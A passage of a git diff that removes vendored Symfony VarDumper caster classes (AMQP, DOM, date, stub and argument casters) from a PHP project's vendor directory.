$c->getReadTimeout(); - } else { - $timeout = $c->getTimeout(); - } - - $a += [ - $prefix.'is_connected' => $c->isConnected(), - $prefix.'login' => $c->getLogin(), - $prefix.'password' => $c->getPassword(), - $prefix.'host' => $c->getHost(), - $prefix.'vhost' => $c->getVhost(), - $prefix.'port' => $c->getPort(), - $prefix.'read_timeout' => $timeout, - ]; - - return $a; - } - - public static function castChannel(\AMQPChannel $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $a += [ - $prefix.'is_connected' => $c->isConnected(), - $prefix.'channel_id' => $c->getChannelId(), - ]; - - // Recent version of the extension already expose private properties - if (isset($a["\x00AMQPChannel\x00connection"])) { - return $a; - } - - $a += [ - $prefix.'connection' => $c->getConnection(), - $prefix.'prefetch_size' => $c->getPrefetchSize(), - $prefix.'prefetch_count' => $c->getPrefetchCount(), - ]; - - return $a; - } - - public static function castQueue(\AMQPQueue $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $a += [ - $prefix.'flags' => self::extractFlags($c->getFlags()), - ]; - - // Recent version of the extension already expose private properties - if (isset($a["\x00AMQPQueue\x00name"])) { - return $a; - } - - $a += [ - $prefix.'connection' => $c->getConnection(), - $prefix.'channel' => $c->getChannel(), - $prefix.'name' => $c->getName(), - $prefix.'arguments' => $c->getArguments(), - ]; - - return $a; - } - - public static function castExchange(\AMQPExchange $c, array $a, Stub $stub, $isNested) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $a += [ - $prefix.'flags' => self::extractFlags($c->getFlags()), - ]; - - $type = isset(self::$exchangeTypes[$c->getType()]) ? new ConstStub(self::$exchangeTypes[$c->getType()], $c->getType()) : $c->getType(); - - // Recent version of the extension already expose private properties - if (isset($a["\x00AMQPExchange\x00name"])) { - $a["\x00AMQPExchange\x00type"] = $type; - - return $a; - } - - $a += [ - $prefix.'connection' => $c->getConnection(), - $prefix.'channel' => $c->getChannel(), - $prefix.'name' => $c->getName(), - $prefix.'type' => $type, - $prefix.'arguments' => $c->getArguments(), - ]; - - return $a; - } - - public static function castEnvelope(\AMQPEnvelope $c, array $a, Stub $stub, $isNested, $filter = 0) - { - $prefix = Caster::PREFIX_VIRTUAL; - - $deliveryMode = new ConstStub($c->getDeliveryMode().(2 === $c->getDeliveryMode() ? ' (persistent)' : ' (non-persistent)'), $c->getDeliveryMode()); - - // Recent version of the extension already expose private properties - if (isset($a["\x00AMQPEnvelope\x00body"])) { - $a["\0AMQPEnvelope\0delivery_mode"] = $deliveryMode; - - return $a; - } - - if (!($filter & Caster::EXCLUDE_VERBOSE)) { - $a += [$prefix.'body' => $c->getBody()]; - } - - $a += [ - $prefix.'delivery_tag' => $c->getDeliveryTag(), - $prefix.'is_redelivery' => $c->isRedelivery(), - $prefix.'exchange_name' => $c->getExchangeName(), - $prefix.'routing_key' => $c->getRoutingKey(), - $prefix.'content_type' => $c->getContentType(), - $prefix.'content_encoding' => $c->getContentEncoding(), - $prefix.'headers' => $c->getHeaders(), - $prefix.'delivery_mode' => $deliveryMode, - $prefix.'priority' => $c->getPriority(), - $prefix.'correlation_id' => $c->getCorrelationId(), - $prefix.'reply_to' => $c->getReplyTo(), - $prefix.'expiration' => $c->getExpiration(), - $prefix.'message_id' => $c->getMessageId(), - $prefix.'timestamp' => $c->getTimeStamp(), - $prefix.'type' => $c->getType(), - $prefix.'user_id' => $c->getUserId(), - $prefix.'app_id' => $c->getAppId(), - ]; - - return $a; - } - - private static function extractFlags(int $flags): ConstStub - { - $flagsArray = []; - - foreach (self::$flags as $value => $name) { - if ($flags & $value) { - $flagsArray[] = $name; - } - } - - if (!$flagsArray) { - $flagsArray = ['AMQP_NOPARAM']; - } - - return new ConstStub(implode('|', $flagsArray), $flags); - } -} diff --git a/vendor/symfony/var-dumper/Caster/ArgsStub.php b/vendor/symfony/var-dumper/Caster/ArgsStub.php deleted file mode 100644 index 591c7e2..0000000 --- a/vendor/symfony/var-dumper/Caster/ArgsStub.php +++ /dev/null @@ -1,80 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents a list of function arguments. - * - * @author Nicolas Grekas - */ -class ArgsStub extends EnumStub -{ - private static $parameters = []; - - public function __construct(array $args, string $function, ?string $class) - { - list($variadic, $params) = self::getParameters($function, $class); - - $values = []; - foreach ($args as $k => $v) { - $values[$k] = !is_scalar($v) && !$v instanceof Stub ? new CutStub($v) : $v; - } - if (null === $params) { - parent::__construct($values, false); - - return; - } - if (\count($values) < \count($params)) { - $params = \array_slice($params, 0, \count($values)); - } elseif (\count($values) > \count($params)) { - $values[] = new EnumStub(array_splice($values, \count($params)), false); - $params[] = $variadic; - } - if (['...'] === $params) { - $this->dumpKeys = false; - $this->value = $values[0]->value; - } else { - $this->value = array_combine($params, $values); - } - } - - private static function getParameters(string $function, ?string $class): array - { - if (isset(self::$parameters[$k = $class.'::'.$function])) { - return self::$parameters[$k]; - } - - try { - $r = null !== $class ? new \ReflectionMethod($class, $function) : new \ReflectionFunction($function); - } catch (\ReflectionException $e) { - return [null, null]; - } - - $variadic = '...'; - $params = []; - foreach ($r->getParameters() as $v) { - $k = '$'.$v->name; - if ($v->isPassedByReference()) { - $k = '&'.$k; - } - if ($v->isVariadic()) { - $variadic .= $k; - } else { - $params[] = $k; - } - } - - return self::$parameters[$k] = [$variadic, $params]; - } -} diff --git a/vendor/symfony/var-dumper/Caster/Caster.php b/vendor/symfony/var-dumper/Caster/Caster.php deleted file mode 100644 index 4bdc66a..0000000 --- a/vendor/symfony/var-dumper/Caster/Caster.php +++ /dev/null @@ -1,175 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Helper for filtering out properties in casters. - * - * @author Nicolas Grekas - * - * @final - */ -class Caster -{ - const EXCLUDE_VERBOSE = 1; - const EXCLUDE_VIRTUAL = 2; - const EXCLUDE_DYNAMIC = 4; - const EXCLUDE_PUBLIC = 8; - const EXCLUDE_PROTECTED = 16; - const EXCLUDE_PRIVATE = 32; - const EXCLUDE_NULL = 64; - const EXCLUDE_EMPTY = 128; - const EXCLUDE_NOT_IMPORTANT = 256; - const EXCLUDE_STRICT = 512; - - const PREFIX_VIRTUAL = "\0~\0"; - const PREFIX_DYNAMIC = "\0+\0"; - const PREFIX_PROTECTED = "\0*\0"; - - /** - * Casts objects to arrays and adds the dynamic property prefix. - * - * @param object $obj The object to cast - * @param bool $hasDebugInfo Whether the __debugInfo method exists on $obj or not - * - * @return array The array-cast of the object, with prefixed dynamic properties - */ - public static function castObject($obj, string $class, bool $hasDebugInfo = false, string $debugClass = null): array - { - if ($hasDebugInfo) { - try { - $debugInfo = $obj->__debugInfo(); - } catch (\Exception $e) { - // ignore failing __debugInfo() - $hasDebugInfo = false; - } - } - - $a = $obj instanceof \Closure ? [] : (array) $obj; - - if ($obj instanceof \__PHP_Incomplete_Class) { - return $a; - } - - if ($a) { - static $publicProperties = []; - $debugClass = $debugClass ?? get_debug_type($obj); - - $i = 0; - $prefixedKeys = []; - foreach ($a as $k => $v) { - if (isset($k[0]) ? "\0" !== $k[0] : \PHP_VERSION_ID >= 70200) { - if (!isset($publicProperties[$class])) { - foreach ((new \ReflectionClass($class))->getProperties(\ReflectionProperty::IS_PUBLIC) as $prop) { - $publicProperties[$class][$prop->name] = true; - } - } - if (!isset($publicProperties[$class][$k])) { - $prefixedKeys[$i] = self::PREFIX_DYNAMIC.$k; - } - } elseif ($debugClass !== $class && 1 === strpos($k, $class)) { - $prefixedKeys[$i] = "\0".$debugClass.strrchr($k, "\0"); - } - ++$i; - } - if ($prefixedKeys) { - $keys = array_keys($a); - foreach ($prefixedKeys as $i => $k) { - $keys[$i] = $k; - } - $a = array_combine($keys, $a); - } - } - - if ($hasDebugInfo && \is_array($debugInfo)) { - foreach ($debugInfo as $k => $v) { - if (!isset($k[0]) || "\0" !== $k[0]) { - if (\array_key_exists(self::PREFIX_DYNAMIC.$k, $a)) { - continue; - } - $k = self::PREFIX_VIRTUAL.$k; - } - - unset($a[$k]); - $a[$k] = $v; - } - } - - return $a; - } - - /** - * Filters out the specified properties. - * - * By default, a single match in the $filter bit field filters properties out, following an "or" logic. - * When EXCLUDE_STRICT is set, an "and" logic is applied: all bits must match for a property to be removed. - * - * @param array $a The array containing the properties to filter - * @param int $filter A bit field of Caster::EXCLUDE_* constants specifying which properties to filter out - * @param string[] $listedProperties List of properties to exclude when Caster::EXCLUDE_VERBOSE is set, and to preserve when Caster::EXCLUDE_NOT_IMPORTANT is set - * @param int &$count Set to the number of removed properties - * - * @return array The filtered array - */ - public static function filter(array $a, int $filter, array $listedProperties = [], ?int &$count = 0): array - { - $count = 0; - - foreach ($a as $k => $v) { - $type = self::EXCLUDE_STRICT & $filter; - - if (null === $v) { - $type |= self::EXCLUDE_NULL & $filter; - $type |= self::EXCLUDE_EMPTY & $filter; - } elseif (false === $v || '' === $v || '0' === $v || 0 === $v || 0.0 === $v || [] === $v) { - $type |= self::EXCLUDE_EMPTY & $filter; - } - if ((self::EXCLUDE_NOT_IMPORTANT & $filter) && !\in_array($k, $listedProperties, true)) { - $type |= self::EXCLUDE_NOT_IMPORTANT; - } - if ((self::EXCLUDE_VERBOSE & $filter) && \in_array($k, $listedProperties, true)) { - $type |= self::EXCLUDE_VERBOSE; - } - - if (!isset($k[1]) || "\0" !== $k[0]) { - $type |= self::EXCLUDE_PUBLIC & $filter; - } elseif ('~' === $k[1]) { - $type |= self::EXCLUDE_VIRTUAL & $filter; - } elseif ('+' === $k[1]) { - $type |= self::EXCLUDE_DYNAMIC & $filter; - } elseif ('*' === $k[1]) { - $type |= self::EXCLUDE_PROTECTED & $filter; - } else { - $type |= self::EXCLUDE_PRIVATE & $filter; - } - - if ((self::EXCLUDE_STRICT & $filter) ? $type === $filter : $type) { - unset($a[$k]); - ++$count; - } - } - - return $a; - } - - public static function castPhpIncompleteClass(\__PHP_Incomplete_Class $c, array $a, Stub $stub, bool $isNested): array - { - if (isset($a['__PHP_Incomplete_Class_Name'])) { - $stub->class .= '('.$a['__PHP_Incomplete_Class_Name'].')'; - unset($a['__PHP_Incomplete_Class_Name']); - } - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ClassStub.php b/vendor/symfony/var-dumper/Caster/ClassStub.php deleted file mode 100644 index 612a7ca..0000000 --- a/vendor/symfony/var-dumper/Caster/ClassStub.php +++ /dev/null @@ -1,106 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents a PHP class identifier. - * - * @author Nicolas Grekas - */ -class ClassStub extends ConstStub -{ - /** - * @param string $identifier A PHP identifier, e.g. a class, method, interface, etc. name - * @param callable $callable The callable targeted by the identifier when it is ambiguous or not a real PHP identifier - */ - public function __construct(string $identifier, $callable = null) - { - $this->value = $identifier; - - try { - if (null !== $callable) { - if ($callable instanceof \Closure) { - $r = new \ReflectionFunction($callable); - } elseif (\is_object($callable)) { - $r = [$callable, '__invoke']; - } elseif (\is_array($callable)) { - $r = $callable; - } elseif (false !== $i = strpos($callable, '::')) { - $r = [substr($callable, 0, $i), substr($callable, 2 + $i)]; - } else { - $r = new \ReflectionFunction($callable); - } - } elseif (0 < $i = strpos($identifier, '::') ?: strpos($identifier, '->')) { - $r = [substr($identifier, 0, $i), substr($identifier, 2 + $i)]; - } else { - $r = new \ReflectionClass($identifier); - } - - if (\is_array($r)) { - try { - $r = new \ReflectionMethod($r[0], $r[1]); - } catch (\ReflectionException $e) { - $r = new \ReflectionClass($r[0]); - } - } - - if (false !== strpos($identifier, "@anonymous\0")) { - $this->value = $identifier = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', function ($m) { - return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0]; - }, $identifier); - } - - if (null !== $callable && $r instanceof \ReflectionFunctionAbstract) { - $s = ReflectionCaster::castFunctionAbstract($r, [], new Stub(), true, Caster::EXCLUDE_VERBOSE); - $s = ReflectionCaster::getSignature($s); - - if ('()' === substr($identifier, -2)) { - $this->value = substr_replace($identifier, $s, -2); - } else { - $this->value .= $s; - } - } - } catch (\ReflectionException $e) { - return; - } finally { - if (0 < $i = strrpos($this->value, '\\')) { - $this->attr['ellipsis'] = \strlen($this->value) - $i; - $this->attr['ellipsis-type'] = 'class'; - $this->attr['ellipsis-tail'] = 1; - } - } - - if ($f = $r->getFileName()) { - $this->attr['file'] = $f; - $this->attr['line'] = $r->getStartLine(); - } - } - - public static function wrapCallable($callable) - { - if (\is_object($callable) || !\is_callable($callable)) { - return $callable; - } - - if (!\is_array($callable)) { - $callable = new static($callable, $callable); - } elseif (\is_string($callable[0])) { - $callable[0] = new static($callable[0], $callable); - } else { - $callable[1] = new static($callable[1], $callable); - } - - return $callable; - } -} diff --git a/vendor/symfony/var-dumper/Caster/ConstStub.php b/vendor/symfony/var-dumper/Caster/ConstStub.php deleted file mode 100644 index 8b01797..0000000 --- a/vendor/symfony/var-dumper/Caster/ConstStub.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents a PHP constant and its value. - * - * @author Nicolas Grekas - */ -class ConstStub extends Stub -{ - public function __construct(string $name, $value = null) - { - $this->class = $name; - $this->value = 1 < \func_num_args() ? $value : $name; - } - - /** - * @return string - */ - public function __toString() - { - return (string) $this->value; - } -} diff --git a/vendor/symfony/var-dumper/Caster/CutArrayStub.php b/vendor/symfony/var-dumper/Caster/CutArrayStub.php deleted file mode 100644 index 0e4fb36..0000000 --- a/vendor/symfony/var-dumper/Caster/CutArrayStub.php +++ /dev/null @@ -1,30 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -/** - * Represents a cut array. - * - * @author Nicolas Grekas - */ -class CutArrayStub extends CutStub -{ - public $preservedSubset; - - public function __construct(array $value, array $preservedKeys) - { - parent::__construct($value); - - $this->preservedSubset = array_intersect_key($value, array_flip($preservedKeys)); - $this->cut -= \count($this->preservedSubset); - } -} diff --git a/vendor/symfony/var-dumper/Caster/CutStub.php b/vendor/symfony/var-dumper/Caster/CutStub.php deleted file mode 100644 index 464c6db..0000000 --- a/vendor/symfony/var-dumper/Caster/CutStub.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Represents the main properties of a PHP variable, pre-casted by a caster. - * - * @author Nicolas Grekas - */ -class CutStub extends Stub -{ - public function __construct($value) - { - $this->value = $value; - - switch (\gettype($value)) { - case 'object': - $this->type = self::TYPE_OBJECT; - $this->class = \get_class($value); - - if ($value instanceof \Closure) { - ReflectionCaster::castClosure($value, [], $this, true, Caster::EXCLUDE_VERBOSE); - } - - $this->cut = -1; - break; - - case 'array': - $this->type = self::TYPE_ARRAY; - $this->class = self::ARRAY_ASSOC; - $this->cut = $this->value = \count($value); - break; - - case 'resource': - case 'unknown type': - case 'resource (closed)': - $this->type = self::TYPE_RESOURCE; - $this->handle = (int) $value; - if ('Unknown' === $this->class = @get_resource_type($value)) { - $this->class = 'Closed'; - } - $this->cut = -1; - break; - - case 'string': - $this->type = self::TYPE_STRING; - $this->class = preg_match('//u', $value) ? self::STRING_UTF8 : self::STRING_BINARY; - $this->cut = self::STRING_BINARY === $this->class ? \strlen($value) : mb_strlen($value, 'UTF-8'); - $this->value = ''; - break; - } - } -} diff --git a/vendor/symfony/var-dumper/Caster/DOMCaster.php b/vendor/symfony/var-dumper/Caster/DOMCaster.php deleted file mode 100644 index c6cfb75..0000000 --- a/vendor/symfony/var-dumper/Caster/DOMCaster.php +++ /dev/null @@ -1,304 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts DOM related classes to array representation. - * - * @author Nicolas Grekas - * - * @final since Symfony 4.4 - */ -class DOMCaster -{ - private static $errorCodes = [ - \DOM_PHP_ERR => 'DOM_PHP_ERR', - \DOM_INDEX_SIZE_ERR => 'DOM_INDEX_SIZE_ERR', - \DOMSTRING_SIZE_ERR => 'DOMSTRING_SIZE_ERR', - \DOM_HIERARCHY_REQUEST_ERR => 'DOM_HIERARCHY_REQUEST_ERR', - \DOM_WRONG_DOCUMENT_ERR => 'DOM_WRONG_DOCUMENT_ERR', - \DOM_INVALID_CHARACTER_ERR => 'DOM_INVALID_CHARACTER_ERR', - \DOM_NO_DATA_ALLOWED_ERR => 'DOM_NO_DATA_ALLOWED_ERR', - \DOM_NO_MODIFICATION_ALLOWED_ERR => 'DOM_NO_MODIFICATION_ALLOWED_ERR', - \DOM_NOT_FOUND_ERR => 'DOM_NOT_FOUND_ERR', - \DOM_NOT_SUPPORTED_ERR => 'DOM_NOT_SUPPORTED_ERR', - \DOM_INUSE_ATTRIBUTE_ERR => 'DOM_INUSE_ATTRIBUTE_ERR', - \DOM_INVALID_STATE_ERR => 'DOM_INVALID_STATE_ERR', - \DOM_SYNTAX_ERR => 'DOM_SYNTAX_ERR', - \DOM_INVALID_MODIFICATION_ERR => 'DOM_INVALID_MODIFICATION_ERR', - \DOM_NAMESPACE_ERR => 'DOM_NAMESPACE_ERR', - \DOM_INVALID_ACCESS_ERR => 'DOM_INVALID_ACCESS_ERR', - \DOM_VALIDATION_ERR => 'DOM_VALIDATION_ERR', - ]; - - private static $nodeTypes = [ - \XML_ELEMENT_NODE => 'XML_ELEMENT_NODE', - \XML_ATTRIBUTE_NODE => 'XML_ATTRIBUTE_NODE', - \XML_TEXT_NODE => 'XML_TEXT_NODE', - \XML_CDATA_SECTION_NODE => 'XML_CDATA_SECTION_NODE', - \XML_ENTITY_REF_NODE => 'XML_ENTITY_REF_NODE', - \XML_ENTITY_NODE => 'XML_ENTITY_NODE', - \XML_PI_NODE => 'XML_PI_NODE', - \XML_COMMENT_NODE => 'XML_COMMENT_NODE', - \XML_DOCUMENT_NODE => 'XML_DOCUMENT_NODE', - \XML_DOCUMENT_TYPE_NODE => 'XML_DOCUMENT_TYPE_NODE', - \XML_DOCUMENT_FRAG_NODE => 'XML_DOCUMENT_FRAG_NODE', - \XML_NOTATION_NODE => 'XML_NOTATION_NODE', - \XML_HTML_DOCUMENT_NODE => 'XML_HTML_DOCUMENT_NODE', - \XML_DTD_NODE => 'XML_DTD_NODE', - \XML_ELEMENT_DECL_NODE => 'XML_ELEMENT_DECL_NODE', - \XML_ATTRIBUTE_DECL_NODE => 'XML_ATTRIBUTE_DECL_NODE', - \XML_ENTITY_DECL_NODE => 'XML_ENTITY_DECL_NODE', - \XML_NAMESPACE_DECL_NODE => 'XML_NAMESPACE_DECL_NODE', - ]; - - public static function castException(\DOMException $e, array $a, Stub $stub, $isNested) - { - $k = Caster::PREFIX_PROTECTED.'code'; - if (isset($a[$k], self::$errorCodes[$a[$k]])) { - $a[$k] = new ConstStub(self::$errorCodes[$a[$k]], $a[$k]); - } - - return $a; - } - - public static function castLength($dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'length' => $dom->length, - ]; - - return $a; - } - - public static function castImplementation($dom, array $a, Stub $stub, $isNested) - { - $a += [ - Caster::PREFIX_VIRTUAL.'Core' => '1.0', - Caster::PREFIX_VIRTUAL.'XML' => '2.0', - ]; - - return $a; - } - - public static function castNode(\DOMNode $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'nodeName' => $dom->nodeName, - 'nodeValue' => new CutStub($dom->nodeValue), - 'nodeType' => new ConstStub(self::$nodeTypes[$dom->nodeType], $dom->nodeType), - 'parentNode' => new CutStub($dom->parentNode), - 'childNodes' => $dom->childNodes, - 'firstChild' => new CutStub($dom->firstChild), - 'lastChild' => new CutStub($dom->lastChild), - 'previousSibling' => new CutStub($dom->previousSibling), - 'nextSibling' => new CutStub($dom->nextSibling), - 'attributes' => $dom->attributes, - 'ownerDocument' => new CutStub($dom->ownerDocument), - 'namespaceURI' => $dom->namespaceURI, - 'prefix' => $dom->prefix, - 'localName' => $dom->localName, - 'baseURI' => $dom->baseURI ? new LinkStub($dom->baseURI) : $dom->baseURI, - 'textContent' => new CutStub($dom->textContent), - ]; - - return $a; - } - - public static function castNameSpaceNode(\DOMNameSpaceNode $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'nodeName' => $dom->nodeName, - 'nodeValue' => new CutStub($dom->nodeValue), - 'nodeType' => new ConstStub(self::$nodeTypes[$dom->nodeType], $dom->nodeType), - 'prefix' => $dom->prefix, - 'localName' => $dom->localName, - 'namespaceURI' => $dom->namespaceURI, - 'ownerDocument' => new CutStub($dom->ownerDocument), - 'parentNode' => new CutStub($dom->parentNode), - ]; - - return $a; - } - - public static function castDocument(\DOMDocument $dom, array $a, Stub $stub, $isNested, $filter = 0) - { - $a += [ - 'doctype' => $dom->doctype, - 'implementation' => $dom->implementation, - 'documentElement' => new CutStub($dom->documentElement), - 'actualEncoding' => $dom->actualEncoding, - 'encoding' => $dom->encoding, - 'xmlEncoding' => $dom->xmlEncoding, - 'standalone' => $dom->standalone, - 'xmlStandalone' => $dom->xmlStandalone, - 'version' => $dom->version, - 'xmlVersion' => $dom->xmlVersion, - 'strictErrorChecking' => $dom->strictErrorChecking, - 'documentURI' => $dom->documentURI ? new LinkStub($dom->documentURI) : $dom->documentURI, - 'config' => $dom->config, - 'formatOutput' => $dom->formatOutput, - 'validateOnParse' => $dom->validateOnParse, - 'resolveExternals' => $dom->resolveExternals, - 'preserveWhiteSpace' => $dom->preserveWhiteSpace, - 'recover' => $dom->recover, - 'substituteEntities' => $dom->substituteEntities, - ]; - - if (!($filter & Caster::EXCLUDE_VERBOSE)) { - $formatOutput = $dom->formatOutput; - $dom->formatOutput = true; - $a += [Caster::PREFIX_VIRTUAL.'xml' => $dom->saveXML()]; - $dom->formatOutput = $formatOutput; - } - - return $a; - } - - public static function castCharacterData(\DOMCharacterData $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'data' => $dom->data, - 'length' => $dom->length, - ]; - - return $a; - } - - public static function castAttr(\DOMAttr $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'name' => $dom->name, - 'specified' => $dom->specified, - 'value' => $dom->value, - 'ownerElement' => $dom->ownerElement, - 'schemaTypeInfo' => $dom->schemaTypeInfo, - ]; - - return $a; - } - - public static function castElement(\DOMElement $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'tagName' => $dom->tagName, - 'schemaTypeInfo' => $dom->schemaTypeInfo, - ]; - - return $a; - } - - public static function castText(\DOMText $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'wholeText' => $dom->wholeText, - ]; - - return $a; - } - - public static function castTypeinfo(\DOMTypeinfo $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'typeName' => $dom->typeName, - 'typeNamespace' => $dom->typeNamespace, - ]; - - return $a; - } - - public static function castDomError(\DOMDomError $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'severity' => $dom->severity, - 'message' => $dom->message, - 'type' => $dom->type, - 'relatedException' => $dom->relatedException, - 'related_data' => $dom->related_data, - 'location' => $dom->location, - ]; - - return $a; - } - - public static function castLocator(\DOMLocator $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'lineNumber' => $dom->lineNumber, - 'columnNumber' => $dom->columnNumber, - 'offset' => $dom->offset, - 'relatedNode' => $dom->relatedNode, - 'uri' => $dom->uri ? new LinkStub($dom->uri, $dom->lineNumber) : $dom->uri, - ]; - - return $a; - } - - public static function castDocumentType(\DOMDocumentType $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'name' => $dom->name, - 'entities' => $dom->entities, - 'notations' => $dom->notations, - 'publicId' => $dom->publicId, - 'systemId' => $dom->systemId, - 'internalSubset' => $dom->internalSubset, - ]; - - return $a; - } - - public static function castNotation(\DOMNotation $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'publicId' => $dom->publicId, - 'systemId' => $dom->systemId, - ]; - - return $a; - } - - public static function castEntity(\DOMEntity $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'publicId' => $dom->publicId, - 'systemId' => $dom->systemId, - 'notationName' => $dom->notationName, - 'actualEncoding' => $dom->actualEncoding, - 'encoding' => $dom->encoding, - 'version' => $dom->version, - ]; - - return $a; - } - - public static function castProcessingInstruction(\DOMProcessingInstruction $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'target' => $dom->target, - 'data' => $dom->data, - ]; - - return $a; - } - - public static function castXPath(\DOMXPath $dom, array $a, Stub $stub, $isNested) - { - $a += [ - 'document' => $dom->document, - ]; - - return $a; - } -} diff --git a/vendor/symfony/var-dumper/Caster/DateCaster.php b/vendor/symfony/var-dumper/Caster/DateCaster.php deleted file mode 100644 index 6b264c7..0000000 --- a/vendor/symfony/var-dumper/Caster/DateCaster.php +++ /dev/null @@ -1,128 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\VarDumper\Caster; - -use Symfony\Component\VarDumper\Cloner\Stub; - -/** - * Casts DateTimeInterface related classes to array representation. - * - * @author Dany Maillard - * - * @final since Symfony 4.4 - */ -class DateCaster -{ - private const PERIOD_LIMIT = 3; - - public static function castDateTime(\DateTimeInterface $d, array $a, Stub $stub, $isNested, $filter) - { - $prefix = Caster::PREFIX_VIRTUAL; - $location = $d->getTimezone()->getLocation(); - $fromNow = (new \DateTime())->diff($d); - - $title = $d->format('l, F j, Y') - ."\n".self::formatInterval($fromNow).' from now' - .($location ? ($d->format('I') ? "\nDST On" : "\nDST Off") : '') - ; - - unset( - $a[Caster::PREFIX_DYNAMIC.'date'], - $a[Caster::PREFIX_DYNAMIC.'timezone'], - $a[Caster::PREFIX_DYNAMIC.'timezone_type'] - ); - $a[$prefix.'date'] = new ConstStub(self::formatDateTime($d, $location ? ' e (P)' : ' P'), $title); - - $stub->class .= $d->format(' @U'); - - return $a; - } - - public static function castInterval(\DateInterval $interval, array $a, Stub $stub, $isNested, $filter) - { - $now = new \DateTimeImmutable(); - $numberOfSeconds = $now->add($interval)->getTimestamp() - $now->getTimestamp(); - $title = number_format($numberOfSeconds, 0, '.', ' ').'s'; - - $i = [Caster::PREFIX_VIRTUAL.'interval' => new ConstStub(self::formatInterval($interval), $title)]; - - return $filter & Caster::EXCLUDE_VERBOSE ? $i : $i + $a; - } - - private static function formatInterval(\DateInterval $i): string - { - $format = '%R '; - - if (0 === $i->y && 0 === $i->m && ($i->h >= 24 || $i->i >= 60 || $i->s >= 60)) { - $i = date_diff($d = new \DateTime(), date_add(clone $d, $i)); // recalculate carry over points - $format .= 0 < $i->days ? '%ad ' : ''; - } else { - $format .= ($i->y ? '%yy ' : '').($i->m ? '%mm ' : '').($i->d ? '%dd ' : ''); - } - - $format .= $i->h || $i->i || $i->s || $i->f ? '%H:%I:'.self::formatSeconds($i->s, substr($i->f, 2)) : ''; - $format = '%R ' === $format ? '0s' : $format; - - return $i->format(rtrim($format)); - } - - public static function castTimeZone(\DateTimeZone $timeZone, array $a, Stub $stub, $isNested, $filter) - { - $location = $timeZone->getLocation(); - $formatted = (new \DateTime('now', $timeZone))->format($location ? 'e (P)' : 'P'); - $title = $location && \extension_loaded('intl') ? \Locale::getDisplayRegion('-'.$location['country_code']) : ''; - - $z = [Caster::PREFIX_VIRTUAL.'timezone' => new ConstStub($formatted, $title)]; - - return $filter & Caster::EXCLUDE_VERBOSE ? $z : $z + $a; - } - - public static function castPeriod(\DatePeriod $p, array $a, Stub $stub, $isNested, $filter) - { - $dates = []; - if (\PHP_VERSION_ID >= 70107) { // see https://bugs.php.net/74639 - foreach (clone $p as $i => $d) { - if (self::PERIOD_LIMIT === $i) { - $now = new \DateTimeImmutable(); - $dates[] = sprintf('%s more', ($end = $p->getEndDate()) - ? ceil(($end->format('U.u') - $d->format('U.u')) / ((int) $now->add($p->getDateInterval())->format('U.u') - (int) $now->format('U.u'))) - : $p->recurrences - $i - ); - break; - } - $dates[] = sprintf('%s) %s', $i + 1, self::formatDateTime($d)); - } - } - - $period = sprintf( - 'every %s, from %s (%s) %s', - self::formatInterval($p->getDateInterval()), - self::formatDateTime($p->getStartDate()), - $p->include_start_date ? 'included' : 'excluded', - ($end = $p->getEndDate()) ? 'to '.self::formatDateTime($end) : 'recurring '.$p->recurrences.' time/s' - ); - - $p = [Caster::PREFIX_VIRTUAL.'period' => new ConstStub($period, implode("\n", $dates))]; - - return $filter & Caster::EXCLUDE_VERBOSE ? $p : $p + $a; - } - - private static function formatDateTime(\DateTimeInterface $d, string $extra = ''): string - { - return $d->format('Y-m-d H:i:'.self::formatSeconds($d->format('s'), $d->format('u')).$extra); - } - - private static function formatSeconds(string $s, string $us): string - { - return sprintf('%02d.%s', $s, 0 === ($len = \strlen($t = rtrim($us, '0'))) ? '0' : ($len <= 3 ? str_pad($t, 3, '0') : $us)); - } -} diff --git 